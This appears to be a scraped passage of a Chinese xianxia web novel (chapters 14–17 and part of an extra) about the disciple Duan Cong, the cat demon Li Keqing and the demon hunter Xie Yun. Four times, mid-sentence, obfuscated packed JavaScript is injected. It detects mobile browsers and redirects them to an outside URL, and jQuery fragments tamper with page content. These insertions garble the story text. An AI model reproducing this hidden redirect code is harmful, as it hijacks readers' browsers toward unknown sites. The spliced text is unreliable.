他妻子也是个心大的,乐呵呵道:“美。” 大家又是等了老半天,最后没有任何异常发生。 于是“嘁”的一声,大家各自散去了,谢蕴脸色青一下白一下,难看极了。有个小娃娃见他这模样,安慰道:“大哥哥,你莫伤心,我娘说了,本事不行是小事,心术不正,才是坏了大事。” 谢蕴正发怒呢,要不是这群人拖后腿,自己早就生擒那妖怪了,何至于被看笑话!此刻小娃娃这话,落在他耳中,无异于煽风点火。 “你走近些。”谢蕴面无表情的招招手。 片刻后,小娃娃鼓着红肿的腮帮子嚎啕大哭,谢蕴没事人一般的甩甩手,在闻讯赶来那小娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060165|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃母亲的破口大骂声中,悠然远离了现场。 一开始,段匆还主要关注着那铜钱有无异常,但见人群中突然一阵惊呼,她这才发现,河面上咕嘟咕嘟的冒着泡泡。 再一看,李刻青人不见了! 她当下想也不想就跳入水中,一沉入水,视线徒然变黑,河水也寒冷刺骨。她一边牙齿打战,一边捏出一圈发光灵蝶,细细寻找李刻青的身影。小草精:“咕……好像没有……咕咕咕咕咕……” “水下不要说话……咕……”段匆也灌进一大口水。 小草精这才懂了,憋着气一言不发了。 找了许久,却连一片衣角都没有发现。段匆有些忧愁。 自下山以来,她虽也遇到过困境,例如救走蜃妖那时、例如遇到狼妖那时、例如见到燃魄灯那时,但那些时刻,无一不有李刻青跟在身后、或是陪在身边,他一副闲散和胸有成竹的模样,搞的段匆完全不用花费心思去担忧什么,只需轻轻松松按照他说的做便好。 而此时,他落水了,她一时竟有些不知所措。 努力定下心神,望了眼深处黑黢黢的水面,她指使发光灵蝶再往下方飞,然后自己也往深处潜去。 下的越深,便越是感觉耳中嗡鸣,肺如炸了一般疼痛。 正头晕眼花呢,忽见水面深处发出一股明亮柔和的光芒,然后便是一个蹁跹的身影,努力的从下面浮上来。段匆连忙伸手,抓住了他的手。 “没事吧……咕咕咕……”段匆一时忘了不能说话,呛入一大口水。 小草精:“不能说话啊咕咕咕咕咕咕嗝!” 李刻青有些歉意的微笑,示意自己没事,又指了指水面上方。 人群正慌的不可开交,他施法将一支杏花送上去,吸引了大家的注意力,而后三人顺着水流漂到下游,终于浑身湿透的爬上了岸。 段匆吐出几口河水,仰面倒在地上:“好险啊。” 小草精的草屑都湿透了:“好饱啊!” “对了,方才你可有看到我对你使眼色?”段匆想起来,问道。 李刻青:“看到了。” “那你可知道那谢蕴将我们当做了妖?” 李刻青老实道:“知道。” 段匆极为不解:“那你还照他说的做啊!多危险!”现在看来,那把弓箭上应该施加了法力,妖怪使用,便会遭到反噬。 李刻青感叹道:“他既觉得我们是妖,那便必然不会善罢甘休,不照他说的这样做,他必然又有许多那样来对付我们的法子,保不准,这几天都会被他一直纠缠着无法脱身。元宵佳节,恐怕也就生生浪费了。” “这倒也是。”段匆一想,笑道。 所幸他们也没受什么伤,只泡了一回水,也无伤大雅,正好还能趁机去成衣铺买几套干净又漂亮的衣服。之前在人间一路走来,看到这里的姑娘们身着飘逸的烟裙轻纱,她倒也着实在心里羡慕了一回。 “那我们先离开此地吧,免得谢蕴追到这里来。”段匆站起来,小草精跟着甩了甩身上的水珠子,跳到她肩上。 却见李刻青躺在地上,青衣铺展,一动也不动。 “李兄,李兄?”段匆叫了两声,他毫无反应。 小草精叫道:“呜呜,他死了!” 不、不能吧,段匆忙将他摆正,探他鼻息,倒还是有的。 只是,他此刻双目紧闭,脸色苍白似纸片,着实,有几分病入膏肓的模样。 15. 第 15 章 李刻青醒来时,发现自己身处一间十分素雅的客房,周遭弥漫着淡淡的令人安心的檀香。 “你醒了?”一旁段匆幽幽的道。 小草精无精打采的耷拉成一团,瞧他一眼,又迅速低下了头,十分心虚的模样。 李刻青便知道昨夜是发生了什么不好的事了,他努力思前想后了一番,却无奈当时头脑实在昏沉,半点回忆也无。于是对着段匆欲言又止的深沉目光,他惯常的悠然一笑:“我当时神志糊涂,没有做出什么唐突之事吧?” “唐突?”段匆的笑容十分令人捉摸不透,李刻青略感纳闷。 正疑惑间,听到她说:“你……” “……你为什么待我这么好?” 李刻青怔了怔,继而慢慢的无奈一笑:“你都知道了?” 段匆狠狠的说:“嗯!”眼圈儿有点发红。 她不是傻子,自参商山降服狼妖、解决了燃魄灯后,他的脸色便异常苍白,行走之间,虚弱非常。当然,一开始,她还是被他骗过了的,当真以为是狼妖伤他那一爪有些重,但经昨夜一事,她即使再笨,也能觉察出不对劲了。 堂堂一只大妖,轻而易举就被施了法力的弓箭击入河中,然后被水一泡,便晕厥不醒。 再兼之,小草精一直十分紧张,好像他有什么隐疾似的。于是扛着他找到一家客栈后,段匆便拿出了尘缘镜。 她自己自然是照不出来的,解决燃魄灯那时,她一直晕着,没有半点记忆。于是她将镜子抛出,往李刻青一照—— 一片空白,什么也没有。 段匆甚至要怀疑镜子出了问题,但一检查,发现完好无损。可又怎么可能,有人在世上生活了这么多年,前尘过往却是一片空白? “看来是他施了法,掩盖了自己的所有往事。”段匆若有所思的喃喃。 小草精缩在角落里,小声:“我什么也不知道,我什么也不知道……” 这可当真是此地无银三百两了,段匆邪恶一笑,将手伸过去,小草精瑟瑟发抖。 果然,当时没人注意小草精,它蹦跶到杏树的一个枝桠上,热热闹闹的看戏—— “唔,”李刻青缓缓问道:“他们对你很重要?” 段匆想了想,道:“很重要。” 李刻青点头:“好。” 段匆有些焦急的望向那燃魄灯,没有发现李刻青信步走到她背后,伸手,悠然画了一道奇形怪状的金色符咒,然后往她背上一点。段匆霎时眼前一黑,倒了下来。 那符咒怎么看着有些眼熟……对了! 那是当日为检查他是否是猫妖时,师父教给她的安眠咒…… ……尘缘镜中,宁芙惊诧的看着倒下的段匆:“师姐?” 然后自己眼前也一黑,李刻青收回手,将她放倒在地,这时,神色变得凝重起来,看向那只燃魄灯。 然后,他闭上眼,只见一缕青色的灵光自他的身体中飘出,荡荡悠悠到了那灯旁边。然后,燃魄灯轰然碎裂,其中的魂魄星星点点的散了出来,没有载体,眼见就要烟消云散。 这时,那青色的灵光将所有魂魄承载了起来。 生,老,病,死,爱别离,怨憎会,求不得。 凡人的魂魄疯狂在那元神中叫嚣,将元神撞出道道裂痕,那元神却硬撑着,直到将所有魂魄都安然无恙的送还回去。 然后青色灵光回到李刻青的身体,他睁开眼。 小草精喜道:“好喽好喽!” 却见李刻青吐出一口鲜血,跌倒在地。 小草精瞬间喜换作了忧,哭道:“你要死了……” 李刻青支撑着站起来,虚弱道:“你,能不能……” 小草精呜咽:“你要我干什么?你说,你有什么遗愿,我都会帮你完成,呜呜呜……” 李刻青:“能不能……闭嘴!” 小草精悲伤的擦着眼睛,悲伤的闭嘴了。 然后,便是狼妖察觉灯灭,赶过来的场景了。 此处颇有些奇妙,李刻青以元神为载,护送魂魄,元气大伤,照理说,此时这样的他,未必能赢得了狼妖。更何况,那狼妖得知灯灭,必然大恸,继而仇恨,功力该因此被激发,变得更强才是。 但是看这景象,李刻青却仍旧不费力的打败了狼妖,狼妖被打伤,竟也不再反抗,靠着树干,神情悲伤中,倒像有一丝久违的解脱。 “你我素不相识,可自我下山,一路以来,多处受你照拂。蜃妖那时,狼妖化出的幻境那时,燃魄灯那时,还有,”段匆举起手中这把漆黑的长剑,“这剑根本不是什么百草道人的法宝,只是你趁机将它送给了我。”她不解道:“为什么?我什么都没有帮过你。” 李刻青笑道:“这世间缘分二字,就是这般奇妙,我遇见你觉得投缘,对你好自觉心中欢喜,这样……”他看了眼段匆,叹道:“这样,你必然不信吧。” 段匆道:“是的。” 李刻青又叹了一口气,然后……段匆睁圆了眼睛。 只见他,化出了猫妖的原型,变成一只浑身雪白的猫儿。段匆不禁趴到床边凑近它,只见那圆圆的、如绿宝石般的瞳仁中有几分高高在上惯了的傲气,还有些天生的优雅与慵懒。这副模样,这副神情,有种久违的熟悉。 “小、小白?” 白猫颇为高贵的点了点头。 很小的时候,段匆就在流浪了。 看到路边的小孩子,扎着两根可爱的辫子,捧着一包酥香的糕点,边吃边走。吃完,小孩的父母慈爱温柔的蹲下来,擦干净小孩沾了糕点碎屑的嘴,然后牵着她的小手走远。 段匆在后面捧着他们丢下的糕点袋子,吸溜鼻子闻一闻上面的香甜味,十分的萧瑟和惆怅。 自打记事起,段匆就没有爹,也没有娘。 她靠在垃圾堆里扒拉别人丢掉的烂菜叶子、馊馒头过活,有时运气好,便可以捡到一只囫囵啃过几口、还剩许多肉在上面的鸡腿。段匆捧着鸡腿,两眼发亮,那脏兮兮的小叫花子脸上,焕发出幸福的光彩。 当然,也有运气不好的时候。 例如那几只恶狗。 段匆抱着鸡腿狂奔,几只恶狗在她身后龇牙咧嘴、紧追不舍,段匆边哭边骂:“明明是我先看到的,你们怎么一点也不讲道理!” 她身后这几位同行可不知道理是何物,只知那散发着诱人香味的鸡腿此时就在这小叫花手中,只要冲上去撕碎了她,那么鸡腿就可以到自己口中。 前方一个转弯,段匆没留心被一颗小石子绊倒在地,几只恶狗瞬间抓住机会、凶神恶煞的朝她扑了上来。 “啊!”段匆闭上眼睛,惨叫一声。 但过了一会之后,却发现自己周身上下并无疼痛之感,怀中的鸡腿,也完好无损,并没有被抢去。 段匆小心的将眼睁开一条缝,看到她面前走来一只雪白的猫。 而那几只恶狗,早已不知所踪。 这猫体型小巧,说是它吓退了恶狗,恐怕谁都不会信。但它神情倨傲,体态优雅,一副高高在上的姿态,倒真让人觉得它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060166|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几分神通。段匆唤它道:“猫兄?” 它好似听得懂话,懒洋洋瞥了她一眼。 段匆想了想,将鸡腿撕了一半放到它面前。却没想到,这只猫立刻十分嫌恶的走开了,段匆道:“吃啊,很香。” 尽管这是只猫,但段匆觉得,它打了个冷颤。 与这只猫的缘分就这样展开,段匆起先看它,对她捡来的吃的这也嫌弃、那也嫌弃,晚上睡在桥底下、或是睡在山洞里,它挑来挑去,总是觉得不满意。她便想,这猫倒金贵,或许,是只娇生惯养的家猫,不小心走失了。 可一连几天四处打听,从没有消息说是哪户人家走丢了猫。 且这猫,也没有焦急要回哪里去的心思。 “那看来你是同我一样在外流浪了。”段匆同情道,继而又想,流浪在外,脾气倒不小。 他们一起流浪了半年有余,段匆见它皮毛雪白,便唤它做小白。小白这猫,虽对她邋遢的做派十分嫌弃,但倒十分讲义气,与她日夜相对、不离不弃,段匆渐渐也习惯了这样的日子,习惯了它的存在,天冷时睡觉,下意识的就将它抱进怀里,温暖的一团血肉,可真是再好不过的暖炉。 后来,便是天门宗选拔,段匆被师父捡回了山上去,从此十多年,就再也没有下过山、看过红尘了。 “其实当初走的那天,我想和你告别的。”此时再见,一些前尘往事的细节也慢慢的浮现起来,段匆想起师父带她走的那天,她心神不宁的左右张望,师父笑眯眯道:“可还有什么事未了?” 段匆小声道:“我、我有个朋友,想等等它,和它告别。” 师父欣然答允了,可是,从天亮等到天黑,却不见那个熟悉的小小的身影。 师父奇道:“你这位朋友倒是个忙人,可还要再等一等?” 段匆想等,却不敢再等。她初次拜师,怕惹师父不高兴,一言一行都得多加小心,于是她恭恭敬敬道:“不等了,徒儿随师父回山吧。”离开时最后一次回头,仍是不见小白,她落寞的垂下眼,跟着师父回去了。 “其实那天,我是在的,”李刻青十分歉然道,“只是,我毕竟是妖。” 段匆点点头,她当时不懂,现在自然是懂得了。 天门宗乃天下第一大门派,和妖怪自然是势不两立的。 “只是小白,你现在待我好,是当年一同流浪时的因。可一同流浪时你待我好,却又因何而起呢?” “我一直觉得你身边的杏花香很熟悉,现在一想,莫不是前世你我就曾相识?” 小草精呀的惊呼一声,好似什么被看穿。李刻青沉默许久,终于点头道:“不错。” ……果然。 所以这一世,流浪时遇见他,如今下山也遇见他。 段匆又问道:“那前世,我是帮了你什么忙吗?”所以今生来回报。 这次李刻青很快便答道:“不错,你前世,帮了我许多。” 段匆有些欣慰,今生他如此赤诚帮助,她当真是不知道怎么回报才好了,好在前世她积了点善德,也帮他做了一些什么。 但是,她也有些说不出的落寞。 再平庸的人,心底深处都是有几分骄傲的。人死如灯灭,虽魂魄可转世,但到底,转世后的人与前一世的人早就不是同一人了。今生平平无奇、碌碌无为,还得仰仗着前世的荫蔽,这可真是一件有些丢脸的事。 段匆想说点什么,但到底没有说出口。大概,对于这份荫蔽,她虽受之有愧,但心底深处,也还是有些依恋的吧。 16. 第 16 章 回到天门宗之后,日子便过的很快。 当初下山一段时间后,千里传音联系师父不到,如今上了山,才发现是掌门、师父、师叔他们都闭关修行的缘故。山上无老虎,猴子称大王,作为门派的大师兄,周浮生如今独掌大权,乐的眉开眼笑。 当然,他掌权,对于大家也是有些好处的。 例如周大师兄懒惰,师父他们在时,苦于被逼无奈,不得不早起,如今只剩了他,他乐的睡到什么时候就什么时候,弟子们的早课也不查,大家各随心意,来去自由。 于是,段匆也过了一段十足悠闲的时光,每天伸着懒腰,睡到自然醒。 放纵当然是有好处,但是十几天之后,她便觉得索然无味了,心里也空虚出一个大洞,剑握在手里,只觉软绵绵的没有力气,段匆吓了一跳——这样下去,还怎么斩妖除魔,匡扶苍生! 第二天,便立马又像从前一样兢兢业业起来。 用功修行一整天后,冲个凉,回到卧房,回想这一日所学所获,十分充实美满。 此次下山,她除淘回不少衣服、发簪、稀奇古玩外,还带回了一箱民间的话本子。《十三娘夜会有情郎》《琵琶精夜弹琵琶曲》《王小二古庙遇狐妖》,可谓编写的跌宕起伏,有声有色。 当日在参商山时,她偷偷带回来了一朵杏花,那花被李刻青施了法术,散发着光亮,此刻放在卧房里,正适合当一盏小夜灯。待花朵的光芒黯淡下来,段匆便伸手弹一弹,给它再灌注些法力进去,它便又重新焕发出莹莹光华了。 伴着小灯,看着话本子,真可谓人生乐事。 如此一月余后,忽然某一天清晨,早课上从不出现的大师兄难得现身,且神色十分严肃。 “大师兄,可是掌门他们出关了?” 周浮生神情肃穆的摇摇头。 大家面面相觑,都道奇怪。既不是掌门他们出关,那大师兄怎么一改往日尿性呢? 周浮生道:“诸位可发现,有容她还未回来?” 他这么一说,段匆也恍然大悟了。论法力强弱,那只狐妖并不是有容师姐的对手,但是,那狐妖十分阴险狡诈,已经一月有余,有容师姐还未返回,或许真的,那只狐妖她对付的不大顺利。 周浮生清一清嗓子,道:“所以,本大师兄决定下山去找她。” 有新入门的小弟子,或许还会被大师兄的同门情谊所感动,但段匆知道,他这是山上舒服够了,想下山去潇洒了。待到了民间,若无人提点,他恐怕连师父这个亲爹都想不起来,更别提有容师姐了。 段匆立刻道:“我也去!” 周浮生眯眼:“你?” 段匆有些心虚,好吧,她此行除了想寻找有容师姐外,也是有些怀念山下的日子。正怕大师兄不同意呢,周浮生愉快的一拍掌道:“好,小师妹,就是你!” 二人收拾好行囊,次日就下了山。 春日已到,空中纷飞着一朵朵雪白的柳絮。段匆将眼前的一朵柳絮吹开,问道:“大师兄,你可会寻踪之术?” 周浮生回想了一番,道:“略懂皮毛。” 段匆道:“那我们开始吧。” 周浮生道声好,但随即想到什么,牙疼似的干笑了两声,神情尴尬。 段匆叹口气,果然。 寻踪之术,也不是什么太难的术法。但是,想要运用此术找人,就必须手中拥有一件想要寻找的那人用过的东西,这样,才能跟着这种气息,一路追踪同样的气息。 段匆从包袱中拿出一本有容师姐的书,递给周浮生。 周浮生接过,甚为掩饰的笑道:“我只是凑巧忘了,忘了。” 这哪是忘了,这是根本就没有放在心上过。段匆默默哀叹,此行看来务必要多花些心思了。 周浮生忽然凑近她,伸出了手。段匆来不及管大师兄要干什么,便先察觉到一股冷冷的气息从身后传来,她徒然掏出红伞朝后飞去,喝问道:“谁!” 随着一声惊呼,一个娇小的红色身影跌倒在地上,段匆凝神一看,竟然是宁芙师妹。 “师妹,怎么是你?你没事吧?” 宁芙低着头,不安道:“我也担心有容师姐的安危,但又怕大师兄不同意我下山,便偷偷跟着来了。对不起……” “这有什么?”周浮生不在乎的一摆手。宁芙来了虽有点碍事吧,但好歹,也无伤大雅。 走了几步路,一朵柳絮从段匆头发上掉下来,她随口吹开,看着有容师姐那本书所指引的方向:“那是……南边。” 天黑时分,三人行至一个小小的村子。 天色已晚,赶路不便,三人便进村,敲响一户人家的门。 来开门的是个有些年纪的妇人,两鬓斑白,神情温和,见他们要借宿,立马微笑着同意,为他们收拾出两间空房子。 这妇人的丈夫也是个和善之人,笑眯眯的为他们安顿了晚饭,三人盛情难却之下,便也放开吃喝了一顿。饭后茶余,周浮生向他二人打听道:“若是从这里朝南一直走,最后会到了哪里呢?” 这老夫妻二人对视一眼,笑道:“那就到了我朝皇城了。” 竟是皇城,有容师姐去那里干什么? 到了夜间就寝,段匆进了左边一间房,宁芙跟在她身后,却被周浮生拦道:“宁师妹,你去右边这间吧。”说着,自己就要进左边这间。 段匆不可置信:“大师兄???!” 她将宁芙拉进来,砰的一声关上门。周浮生在外面吃了一鼻子灰,悻悻道了声好睡,一个人去了另一间。 宁芙低头道:“师姐,我没有打扰你们吧?” “当然没有!”段匆说完,回想起这些天来大师兄对她格外亲切,终于恍然大悟到底是怎样的情况。 只是她觉得这也太过荒谬,大师兄是何时看上了她? 身居下位,就这点不好。得时刻顾忌着他大师兄的身份,骂也不能痛快的骂,打一顿就更是不可能的事了,即使拒绝,也要拒绝的委婉,言辞得卑微恳切,不能得罪人家。 迷迷糊糊的想着说辞,段匆渐渐的就要睡去。 月色清亮,万籁俱寂,忽然,不知从哪个角落,传来一声稚嫩的哭啼。 段匆瞬间从床上惊起,破门而出。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060167|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对老夫妻上了年纪,睡眠浅,此刻也都醒了,十分担忧的在院子中徘徊。见了段匆,立刻便上前问道:“姑娘,可是有什么不对劲?” 段匆凝神道:“有妖气。” “对了,这村子里可有孩童?” 老夫妻道:“是有一个。” 那就是了。段匆安顿他们和大师兄师妹待在一处,自己出了院子,向着妖气最浓烈的一户人家赶去。到了那户人家门前时,她正好看见那妖怪怀中抱着一个婴孩,飞上了屋顶。 “秋姑!” 那妖怪停了一下,转过头来。 只见这妖是一个老妇的模样,头发花白,满面皱纹,像极了人。但诡异的是,这个年纪的凡人,牙齿早就脱落,但她,却有一口森森的尖牙。 段匆曾在妖物全书上看过,秋姑,本是寻常人家一年老的妇女,但子女不孝,不愿赡养,便将她孤身一人丢在深山老林。秋姑被活活饿死在其中,因怨气过盛,魂魄久久不散,最后化为妖物,长出一口尖牙,每当夜晚来临,便会到人家中偷吃婴儿。 段匆扬声道:“欠你的是你自己的儿女,你为何要祸害别人家的儿女?” 秋姑听闻此言,像是被激怒,面容扭曲,抓住那婴儿白嫩的小手,张嘴就要咬! 这这这、不劝倒好,一劝反而变糟了! 正在这时,有一支箭呼啸而来,刺穿了秋姑的喉咙。 秋姑表情一滞,僵硬的低头看了看喉咙处不断冒出的鲜血,手一松,婴儿高高掉落下来。 有个身影干净利落的接住那婴儿,下方婴儿的父母瞬间劫后余生般痛哭起来,抱着婴儿左看右看,生怕哪里有一点差池。 段匆看着来人明朗的眉眼和倨傲的神情,干笑两声。 “谢公子,又见面了。” “呵呵,”谢蕴轻蔑一笑:“你对妖怪到底是有多喜欢,不仅与他们为伍,而且在方才那样的关头,还想着包庇他们。” 段匆辩解道:“我不是想包庇……” 谢蕴:“方才若是没有我,只怕这婴儿就算能活命,也至少得缺只胳膊少只腿了。” 段匆道:“我只是……” 其实,她自己也有些说不下去。 她看了眼那秋姑,这妖临死之前,眼角渗出了些泪水,联想起它过往的经历,的确很是可怜。可是,它却丝毫没有因自己的可怜,而将心比心,对别人家的婴孩有所怜悯。 段匆叹了一口气,只觉得有些事,不是想做到就能做到的。 “上次和你在一起的那两只妖呢?”谢蕴问。 段匆说:“回去了。” 谢蕴瞬间痛心疾首:“回哪里去了?说!” 段匆自然是不可能说,打了个呵欠,准备回去继续睡觉。 谢蕴不依不饶,硬要逼她说出个一二三来,否则就将她当做妖怪的同伙一并处置。段匆实在是困得厉害,看到他十分激动的理论着,却听不清他到底在说些什么。突然头一歪,朝他倒了过去。 “你、你!”谢蕴起先大怒,以为她泼皮耍赖,后来忽然发现了什么,神色一凛。 “你中毒了。” 17. 第 17 章 毒倒不是什么剧毒,只是让人手脚乏力、困倦昏睡,在原地歇了一会儿后,段匆就觉得好多了。 “晚上倒是吃了主人家的一顿饭……可他们不过是两个寻常的凡人,和我们无冤无仇,有什么道理加害我们呢?更何况,若真的要害我们,也得下个厉害点的毒吧,单单让人睡一觉有什么用?” 段匆百思不得其解。 谢蕴道:“凡人下这毒或许的确让人想不通,但若是,下毒的是个修行之人呢?” 段匆怔了怔,忽然一阵荒谬。 寻常夜晚中了这毒,只不过是沉睡一觉,但若是此时正好在和妖怪交手,毒性发作,昏倒在地,那么,性命就危险了。而且日后追究起来,人们还都以为这是妖怪加害,而想不到中毒上面去。 ——这所有的一切,凡人自然是计划不到的。但修行之人,他们能察觉妖气,也就是说,他们能预知下毒后的一切。 “只是与我同行的,是我的大师兄和小师妹,他们……”段匆有些崩溃:“不会吧。” 谢蕴十分不屑的道:“我若是他们,见门派中出了你这样包庇妖怪的败类,也会下手的。” 段匆:“……” “唉,总之今晚还是多亏了你,”段匆拱手道:“多谢。” “那中毒一事怎么办?” “就不用声张了,我自有打算。” “好。”谢蕴道。 山风徐来,段匆在后面眯起眼睛。谢蕴身形并不算高大,甚至偏向于单薄,而恰此时,他抬头望了眼明月,显露出尖而小巧的下巴。清凉月色下,他的皮肤十分雪白细腻。 发现段匆不怀好意的打量他,谢蕴立马恶狠狠转过身道:“看什么看?” 段匆笑的十分邪恶和富有深意:“刚才我跌倒,多谢你接住了我。” 她这一说,谢蕴立马就懂得了。刚刚她倒下时,他一时没反应过来,下意识往前一步,用自己的怀抱接住了人。她在他怀里靠了那么些时候,自然……是觉察到了什么。 谢蕴咬牙切齿道:“你敢说出去,我就……” 待回到院子,师妹与大师兄都已经醒了,正和那对老夫妻一起焦急的等待着。见段匆回来,周浮生松了一大口气:“小师妹啊,师兄可担心死你了,但想出门帮忙吧,宁师妹这边又说她害怕……”继而看到谢蕴,奇道:“这位……” “师兄,无事。”段匆十分甜蜜的往谢蕴肩上一靠。 “还好有这位谢公子,一箭就将那妖怪制服。谢公子方才的风姿,可着实令人折服啊。” 周浮生的脸色瞬间有些难看。当然,谢蕴的脸色也好看不到哪里去,待终于应付完周浮生,他面无表情的向段匆道:“有盆吗?” “怎么了?” 谢蕴:“我想吐。” …… 一番折腾到天明,四人向老夫妻道谢辞行,继续向南方而去。 谢蕴对于段匆拿他当挡箭牌的行径极为不齿、对于她那故意亲近的姿态和甜腻的语气极其作呕,但谁让他有把柄在她手里。人在屋檐下,不得不低头,这句话谢蕴还是很清楚的。 当然,此行也有令他高兴之处。 据段匆说,那只狐妖法力高强、神通广大、老奸巨猾、作恶多端……总之,那只妖就是这世界上最邪恶、最难搞定的妖怪。这就让他有了十足的想要挑战一下的心思。 “谢兄,”见段小师妹对这小白脸分外上心,周浮生简直恨的牙痒痒,但出门在外,门派的面子与风度不能不要。他哪怕再恨,面上也得表现的和善可亲:“我们此行既是皇城,那么多了解一些宫廷之事,总是没有坏处的。” “但我们几个久居山上,对民间之事不太了解,可否劳烦……” “行了,我懂了。”谢蕴最看不惯这种惺惺作态的人,明明都那么讨厌他了,还装什么彬彬有礼。 他直接打断,继而道:“皇城的情况嘛,其实也就是那么回事。” 当今天下,国号为黎。五年之前,黎国老皇帝故去,太子景琰继位,取年号“永昌”。 这景琰嘛,当太子的时候昏庸无能、无所作为,其余皇子谁都不把他放在眼里,认为父皇迟早有一天会废了他,新立太子。也不知道老皇帝到底有没有这个心思,反正,他还没来得及做些什么,就病逝了。 而这时,那一直不被众皇子瞧得起的景琰,好像忽然换了一个人。 他先是扶持对老皇帝忠心耿耿的那批人,助他顺利登上皇位,然后暗中搜集、甚至捏造其余皇子意图谋反篡位的证据,将他的六个兄弟杀的杀、贬的贬,直到最后无一人能对他造成威胁。 最后,他又怕当日那群助他登位的肱股之臣功高盖主,于是设立暗卫组织,时刻注意着这群人的一举一动,稍有不对之处,暗卫便直接出手,一刀抹了这臣子的脖子。 “手足残杀,过河拆桥,有这样的皇帝,真乃大黎之难。”周浮生鄙夷的点评道。 “他当时的做法的确冷血了些。”谢蕴道:“但也正是因此,永昌年间政治清明,百姓安居乐业,市井小巷之间,一片欣欣向荣。总的来说,他这个皇帝做的还是不错的。” 虽说的只是“不错”,但其实言谈间很是维护景琰。 周浮生皮笑肉不笑:“朝堂之事,谢兄倒是懂得多。” “我……”谢蕴神色忽然有些怔愣。 他再次开口,语气中竟带了一些惆怅:“我爹他……” “……他曾是黎国的丞相。” 位列相位,一人之下,万人之上,相信这是每个臣子的一生所愿。 谢蕴的爹谢平生,自然也不例外。他自最开始入仕起,便抱着一腔忠君报国的热血,幻想着自己有朝一日能成为一代贤相,一袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060168|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绛红,站在百官之前,向陛下陈情言表,为万民谋求福祉。 只是,他这前进路上,有个死对头。 那人姓柳,名为柳不留。 谢平生,深觉自己样样都已做到了顶尖。却没想到,自见了柳不留之后,他才发现,自己曾引以为傲的每一样,都差了柳不留那么一点。文韬差那么一点,武略差那么一点,尽管只是那么一点点,但就是差了,就是比不上。 最后自然,他没能赢得了柳不留。 他站在群臣之间,看着那袭绛红衣袍穿在柳不留身上,衬得柳不留意气风发,心中更觉苦涩郁闷,回到家,就生了一场大病。 没想到就在这期间,黎国发生了一件大事—— 年轻的柳相被一只狼妖杀死了。 谢平生初闻消息,失神许久。 告知他这消息的王侍郎,与他素来交好,见四下无人,便凑近笑眯眯对他说:“这下好了,丞相之位又回到你手上了。” 谢平生怔怔点头,却忽然之间,心口淤滞,一张口,竟是一口鲜血吐了出来。 王侍郎料的不错,待过了一段时日,谢平生的病逐渐痊愈。当日,在朝堂之上,皇帝亲切的握着他的手,将那袭绛红衣袍亲自披在了他身上。 谢平生梦寐以求的成了丞相,也如他年轻时所暗自发誓的那样,一辈子战战兢兢,力求做一个贤相。 只是,在夜深人静的时候,他却常常发呆。 那时谢蕴尚年幼,直截了当的问他道:“爹爹为何惆怅?” 谢平生长叹一声,道:“蕴儿,爹这一生,都不是真正的丞相。” “我爹他是想光明正大的赢了当日的柳相,谁知后来,却是以那样的方式成为了丞相。”谢蕴回过神来,自己也觉得有些好笑,道:“自老皇帝故去,景琰手段阴毒,我爹也就趁此机会,以自己日渐年迈、力不从心为由,辞去了丞相之位。只是,他这一生,恐怕都无法真正放下那丞相之位了。” “那谢兄怎么不子承父业,也做个丞相当当?”周浮生打趣道。 谢蕴一怔,许久,十分不在意般的明朗一笑:“我好好的捉妖师不做,做什么丞相?” 段匆怔一怔。 父辈的执念传递给子辈,是极其常见的事,更遑论谢蕴父亲的执念如此之深。 谢蕴看似洒脱,可更像是故作洒脱。 他是真的不想做丞相,还是和他父亲一样心有执念,却无法做得真正的丞相呢? “对了,那现在景琰上位,你父亲辞官,新的丞相又是谁?” 谢蕴知道的十分清楚:“司徒月华。” “他父亲才识卓越,品行高尚,曾是景琰的老师。至于他自己嘛,肚里墨水倒是有一点,只不过,为人太过张扬。” 众人默默点了点头,各怀心思的继续赶路,三日之后,终于到达了皇城。 18. 番外一 赵仕成初遇杜兰若,是在一处施粥的赈济摊子前。 读书人家徒四壁,一贫如洗,除了高高的圣贤书,全身上下唯一剩下的便是那一副清高傲骨。 